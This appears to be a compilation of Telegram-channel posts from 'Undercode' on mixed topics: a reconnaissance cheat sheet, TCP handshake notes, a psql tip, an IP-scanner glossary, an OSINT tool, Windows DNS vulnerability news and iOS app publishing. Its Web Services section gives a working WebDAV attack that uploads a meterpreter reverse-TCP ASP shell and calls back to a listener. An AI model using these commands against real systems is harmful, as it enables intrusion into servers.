▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Remote Information Services

+ DNS
Zone Transfer - host -l securitymuppets.com 192.168.100.2
Metasploit Auxiliarys:
auxiliary/gather/enumdns
use auxiliary/gather/dns...

[+] Finger - Enumerate Users
finger @192.168.0.1
finger -l -p user@ip-address
auxiliary/scanner/finger/fingerusers

+ NTP
Metasploit Auxiliarys

+ SNMP
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt
Metasploit Module snmpenum
snmpcheck -t snmpservice

[+] rservices
rwho 192.168.0.1
rlogin -l root 192.168.0.17

[+] RPC Services
rpcinfo -p
Endpointmapper metasploit

✅topic git sources
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Web Services

+ WebDAV
Metasploit Auxiliarys
Upload shell to Vulnerable WebDAV directory:
msfpayload windows/meterpreter/reversetcp LHOST=192.168.0.20 LPORT=4444 R | msfencode -t asp -o shell.asp
cadaver http://192.168.0.60/
put shell.asp shell.txt
copy shell.txt shell.asp;.txt
Start reverse handler - browse to http://192.168.0.60/shell.asp;.txt

[+] Nikto Web Scanner
# To scan a particular host
perl nikto.pl -host [host IP/name]

# To scan a host on multiple ports (default = 80)
perl nikto.pl -host [host IP/name] -port [port number 1], [port number 2], [port number 3]

# To scan a host and output fingerprinted information to a file
perl nikto.pl -host [host IP/name] -output [outputfile]

# To use a proxy while scanning a host
perl nikto.pl -host host IP/name -useproxy proxy address


✅topic git sources
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑WHY WE SHOULD USE TCP CONNECTIONS ?

> What is 1 TCP connection
Before examining the structure of the TCP packet header, let’s figure out what 1 TCP connection is - this will help to more clearly understand what exactly we are analyzing in Wireshark and how many TCP connections we need to look for. For example, how many TCP connections are involved when opening 1 page of a website? A typical website consists of 1 page of HTML code, several pages of cascading style sheets for CSS and JavaScript files, as well as a couple of dozens of image files. So, to receive each of these files, a new TCP connection is created. For each of these connections, a three-stage handshake is performed - this is to the question of what costs, "overhead" TCP carries.

> That is, when you open the website page, the browser makes the first TCP connection and receives the source code of the web page. In this code, the browser finds links to files of styles, scripts, images - a new TCP connection is launched for each of these files.

> Therefore, when analyzing traffic in Wireshark when you open even one web page, you will see many started and completed TCP connections.

1️⃣Source port - bits 0-15. This is the packet source port. The source port was originally associated directly with the process in the sending system. Today, we use a hash between the IP addresses and the destination and source ports to achieve this uniqueness, which we can associate with a single application or program.

2️⃣Destination port - bits 16-31. This is the destination port of the TCP packet. As with the source port, it was initially directly connected to the process in the receiving system. Today, a hash is used instead, which allows us to have more open connections at the same time. When the packet is received, the destination and source ports return in response back to the original sending host, so that the destination port is now the source port and the source port is the destination port.

3️⃣The source port and destination port do not have to be the same: for example, if a request is made to the 80th port of the server, then this request may come, for example, from port 34054.

4️⃣The port numbers on the server can be used either standard or arbitrary.

5️⃣Sequence number - bits 32-63. The sequence number field is used to set the number in each TCP packet so that the TCP stream can be properly ordered (for example, packets are brought to the correct order). The serial number is then returned in the ACK field to confirm that the packet was received correctly.

Indicates the number of bytes transmitted, and each byte of payload transferred increases this value by 1.

6️⃣If the SYN flag is set (session is being established), then the field contains the initial serial number - ISN (Initial Sequence Number). For security purposes, this value is randomly generated and can be between 0 and 2 32 -1 (4294967295). The first byte of payload in the established session will be ISN + 1.

7️⃣Otherwise, if SYN is not set, the first byte of data transmitted in this packet has this serial number.

8️⃣Confirmation number (Acknowledgment Number (ACK SN)) - bits 64-95. This field is used when we acknowledge a specific packet received by the host. For example, we receive a packet with one established sequence number, and if everything is in order with the packet, we respond with an ACK packet with a confirmation number equal to the original sequence number.
If the ACK flag is set, this field contains the octet number that the sender of this segment wants to receive. This means that all previous octets (with numbers from ISN + 1 to ACK-1 inclusive) were successfully received.

9️⃣Each side calculates its own Sequence number for the transmitted data and separately Acknowledgment number for the received data. Accordingly, the Sequence number of each side corresponds to the Acknowledgment number of the other side.

🔟The length of the header (data offset) is bits 96-99. This field indicates the length of the TCP packet header and where the actual data begins (payload). The field is 4 bits in size and indicates the TCP header in 32-bit words. The header should always end with an even 32-bit border, even with various options set (options may not be available at all, or their number may vary). This is possible thanks to the Padding field at the very end of the TCP header.
1️⃣1️⃣The minimum header size is 5 words, and the maximum is 15 words, which gives a minimum size of 20 bytes and a maximum of 60 bytes, which allows you to use up to 40 bytes of options in the header. This field received this name (data offset) because it also shows the location of the actual data from the beginning of the TCP segment.

1️⃣2️⃣So, the length of the header determines the offset of the payload relative to the beginning of the segment. For example, a Data offset of 1111 indicates that the title occupies fifteen 32-bit words (15 lines * 32 bits in each line / 8 bits = 60 bytes).

🦑TCP Session
TCP handshake (establishing a TCP connection)

> TCP uses a three-step handshake to establish a connection.

1) Connection can be made only if the other side is listening on the port to which the connection will be made: for example, the web server is listening on ports 80 and 443. That is, this is not covered by a handshake, but before the client tries to connect to the server, the server must first connect to the port and start listening to it to open it for connections: this is called passive opening. Once a passive discovery is established, the client can initiate an active discovery. To establish a connection, a three-stage (or three-stage) handshake occurs:

2) The first stage, sending a packet with the SYN flag enabled : active opening is performed by the client sending SYN to the server. The client sets the sequence number of the segment to a random value A.

Note that by default, Wireshark shows the relative value of the sequence number (Sequence number), just below you can also see the real value (shown as raw ).

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Connection termination

1️⃣The connection completion phase uses a four-stage handshake, with each side of the connection terminating independently. When an endpoint wants to stop its half of the connection, it sends a FIN packet, which the other end confirms with an ACK flag packet.

2️⃣Therefore, a typical break requires a pair of FIN and ACK segments from each TCP endpoint. After the party sending the first FIN responded with the last ACK, it waits for a timeout before finally closing the connection, during which the local port is not available for new connections; this prevents confusion due to delayed packets delivered during subsequent connections.

3️⃣The connection may be “half-open”, in which case one side has completed its part and the other has not. The terminating party can no longer send any data to the connection, but the other side can. The final side must continue reading the data until the other side also completes its work.

4️⃣It is also possible to break the connection with a three-step handshake when host A sends FIN, and host B answers FIN & ACK (just combines 2 steps into one) and host A answers ACK.

5️⃣Some operating systems, such as Linux and H-UX, implement a half-duplex closing sequence in the TCP stack. If the host actively closes the connection, but the incoming data remains unread, the host sends an RST signal (loss of all received data) instead of FIN. This guarantees the TCP application that the remote process has read all the transmitted data, waiting for the FIN signal before it actively closes the connection. The remote process cannot distinguish the RST signal to interrupt the connection and data loss. Both cause a remote stack to lose all received data.

6️⃣As you can see in the screenshot, the termination of the TCP connection also occurs as (Linux with the latest kernel):

Client: FIN-ACK

Server: FIN-ACK

Client: ACK

Written by Undercode
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑How to Display actual PostgreSQL queries
#REQUESTED

1) Display the actual queries generated by \ d and other backslash commands.

2) You can use this to examine PSQL internal operations.
This is equivalent to including the ECHO_HIDDEN variable

> \set ECHO_HIDDEN

🦑Output :

postgres=# \l
* QUERY **
SELECT d.datname as "Name",
pg_catalog.pg_get_userbyid(d.datdba) as "Owner",
pg_catalog.pg_encoding_to_char(d.encoding) as "Encoding",
d.datcollate as "Collate",
d.datctype as "Ctype",
pg_catalog.array_to_string(d.datacl, E'\n') AS "Access privileges"
FROM pg_catalog.pg_database d
ORDER BY 1;
******************

List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(3 rows)



▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Support & Share Us ❤️👍🏻

T.me/UndercodeTesting

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Network Terms in Angry IP Scanner
Further tips from the program itself:

general information

Angry IP Scanner tool for scanning IP addresses.

It is used to scan IP addresses in order to find active hosts and collect interesting information about each of them.

You can start by specifying the IP addresses for scanning (local IPs are entered by default) and clicking the "Start" button.

Key terms:

Feeder - Source of IP addresses for scanning. Angry IP Scanner provides various scanning sources: IP Range, IP List File or Random. You can select a source from the drop-down list next to the "Start" button

Data collector - collects specific information about the host, for example, ping time, host name, open ports. Collectors are usually columns as a result of a scan. They can be selected in the menu "Tools-> Data Collectors".

Active host - the host responding to ping. The results sheet is marked in blue.

Inactive host - a host that does not respond to ping (red). However, it may have open ports (if the firewall blocks ping). In order to fully scan such hosts, check the "Scan inactive" checkbox in Tools-> Preferences.

Open port - TCP port that responded to the connection attempt. Greens on the list.

Filtered port - TCP port, does not respond to the fact that it is closed (there is no RST packet). Probably these ports are specifically blocked by firewalls.

Pinging (host check):

Angry IP Scanner can use different ping methods. They can be selected in the "Preferences" window.

ICMP echo is the standard method used by the 'ping' program. On most platforms, requires administrator privileges. Some firewalls prohibit response packets to an ICMP request, making active hosts look inactive.

UDP - sends UDP packets (datagrams) to one of the host ports and monitors the response (whether or not). Not standard, but does not require privileges.

TCP - trying to connect to the 80 (http) port. UDP may work better for some networks, usually not.

Scanning UDP and TCP most often does not detect routers or other network equipment properly.

TTL (time to live) - this collector works only with ICMP ping. The initial value is usually 64 or 128, the difference shows the distance to the host in the number of nodes.

written by undercode
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Osint tool based on namechk.com for checking usernames on more than 100 websites, forums and social networks..->
-termux-linux

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣git clone https://github.com/HA71/Namechk.git

2️⃣cd Namechk

3️⃣Search available username: ./namechk.sh <username> -au

4️⃣Search available username on specifics websites: ./namechk.sh <username> -au -co

5️⃣Search available username list: ./namechk.sh -l -au

6️⃣Search used username: ./namechk.sh <username> -fu

7️⃣Search used username on specifics websites: ./namechk.sh <username> -fu -co

8️⃣Search used username list: ./namechk.sh -l -fu


ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Microsoft warns of major vulnerabilities in Windows DNS server
#News

> Microsoft warned that the company listed a key vulnerability in a Windows DNS server 17 years ago as a "worm." Such vulnerabilities may allow attackers to create special malware, execute code remotely on Windows servers, and create malicious DNS queries, which may eventually lead to the intrusion of infrastructure in enterprises and key departments.

> Visit the MSRC report:

https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/

> "Worm vulnerabilities can spread through vulnerable software through vulnerable software without user interaction," explains Mechele Gruhn, Microsoft's chief security project manager. "Windows DNS server is a core network component. Although it is not known whether this vulnerability is used for active attacks, customers must apply Windows updates as soon as possible to resolve this vulnerability."

> Researchers at Check Point discovered a security vulnerability in Windows DNS and reported it to Microsoft in May. If the patch is not applied, it will make the Windows server vulnerable to attacks, but Microsoft pointed out that there is no evidence of this flaw being used.

> Today, all supported versions of Windows Server provide patches to fix the vulnerability, but system administrators must patch the server as soon as possible before malicious actors create malware based on the vulnerability.

"DNS server vulnerability is a very serious matter," Omri Herscovici, the head of Check Point's vulnerability research team, warned. "Only a few of these types of vulnerabilities have been published. Every organization that uses Microsoft infrastructure, regardless of size, will face significant security risks if they do not apply patches. The worst consequence will be the complete destruction of the entire enterprise network. Microsoft's code has been in existence for more than 17 years; since we can find this vulnerability, it is not impossible for others to have discovered this vulnerability."

> Windows 10 and other client versions of Windows are not affected by this vulnerability, because it only affects Microsoft's Windows DNS Server implementation. Microsoft has also released a registry-based working method to prevent administrators from quickly addressing defects when they cannot quickly patch servers.

> Microsoft gave a maximum risk score of 10 on the Common Vulnerability Scoring System (CVSS), emphasizing the severity of the problem. In contrast, the vulnerability used in the WannaCry attack scored 8.5 on CVSS.

ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Computer Data Leakage Prevention System

WHAT IS Computer Data Leakage Prevention System ?

(download address: http://www.grabsun.com/monitorusb.html ) is an enterprise document security management system designed to protect computer files and prevent the disclosure of business secrets. The system can not only completely disable the use of U disks and USB storage devices, but also disable network disks, emails, FTP file uploads, and chat software to send files to disclose company commercial secrets. In addition, the system also integrates a series of computer usage management functions, which can effectively regulate the employee's computer network usage during work hours, which can not only further protect computer file security and network security, but also improve employee work efficiency and achieve network management The real purpose of the.

🦑The specific functions of Dashizhi Enterprise Data Anti-Leakage Software are as follows:

1. You can completely prohibit the use of U disks, mobile hard disks, SD cards, mobile phones to connect to computers, tablet computers and other devices with storage functions.

2. Completely disable the use of optical drives and floppy drives. At the same time, you can only prohibit the burning of optical drives and limit the use of burning optical drives without affecting the playback function of the optical drive.

3. Completely disable the computer COM port, prohibit the use of computer ports, prohibit the use of external devices such as printers.

4. Comprehensively protect the security of the operating system, prohibit the modification of the registry, prohibit the modification of group policies, prohibit the use of msconfig, prohibit entering the computer security mode, disable the use of the task manager, prohibit the use of the device manager, etc.

5. Comprehensively prevent employees from uninstalling, preventing accidental killing or interception by anti-virus software, protecting computer information security to the greatest extent, and protecting enterprise commercial secrets.

6. Allow network administrators to set blacklists that prohibit computers from running programs and whitelists of programs that are only allowed to run, blacklists of URLs that are not allowed to be accessed, and whitelists of URLs that are only allowed to be accessed, thereby enhancing the control of computer usage.

7. The functions of effectively prohibiting network hotspots, prohibiting 360 portable wifi, prohibiting Baidu portable wifi, shielding wifi sharing wizard, and prohibiting wifi master keys, preventing employees from using these portable wifi to provide Internet access for their laptops, mobile phones or tablets .

8. Added banned email sending, banned network disk upload, banned forum attachment upload, banned FTP upload, allowed only specific QQ number login, only allowed specific Aliwangwang account login, banned QQ sending files, banned QQ group shared file upload.

9. Exclusively supports both stand-alone installation and stand-alone management, as well as the management of the server and client based on the C/S architecture, thereby facilitating the user's use.

10. Personalized customization is available for users. All kinds of computer equipment and any configuration of the operating system are forbidden at any time to protect computer security and commercial secrets.


🦑Some guys here hate chineese tools, but anyway we post for learn only !
ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ iU𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁


🦑 FREE COURSES iOs by Apple developers :

1️⃣Face ID and your Apps
iOS
One of the most advanced features of iPhone X, Face ID is a secure biometric authentication technology that lets users easily unlock, authenticate, pay, and quickly access your app with just a glance. While it has many similarities to Touch ID, there are a few key differences. Learn more about...

2️⃣Configuring Your Developer Account for Apple Pay
iOS, MacOS
Apple Pay is the easy, secure, and private way to pay for physical goods and services within apps and websites. Find out how you can configure your Apple Developer Account to start using the Apple Pay APIs.

2️⃣Building Sticker Packs
iOS
Turn your artwork into a sticker pack for Messages on iOS 10. Learn how to bundle both images and animations into your sticker pack and test your finished result.

3️⃣Submitting an iMessage App or Sticker Pack - Part 1
iOS
Learn how to distribute your sticker pack on the App Store. Simply add your app to iTunes Connect and enter the required information, including description, keywords, and screenshots.


4️⃣Submitting an iMessage App or Sticker Pack - Part 2
iOS
Find out how to submit your sticker pack to App Review, the last step before your app can be distributed on the App Store.

> WATCH OR DOWNLOAD :
https://developer.apple.com/videos/tutorials

Enjoy❤️👍🏻
▁ ▂ ▄ iU𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ iU𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁


🦑The release of iOS APP is divided into two parts AB, first test the APP, if there is no problem, upload the APP to review!

Part A: The real machine debugging is introduced in 5 steps. If the real machine has been tested well, please directly drop down to see step B.

(Be sure to test the app first before putting it on the shelf, or if there are a bunch of bugs in the app, it will be reviewed but it will waste time)


1. Install Appuploader, an iOS auxiliary software
> http://www.applicationloader.net/appuploader/download.php

2. Log in to Appuploader to apply for iOS development certificate file p12

3. Log in to Appuploader to apply for iOS development certificate description file mobileprovision

4. Use the iOS certificate file to package the Apple APP

5. Install the packaged APP to the Apple mobile phone to test

Part B: App Store review is conducted in 6 steps.

1. Apply for iOS release certificate

2. Apply for iOS release description file

3. Pack ipa

4. iTunes Connect creates APP

5. Upload ipa

6. Set APP information submission for review

@iUndercode
▁ ▂ ▄ iU𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁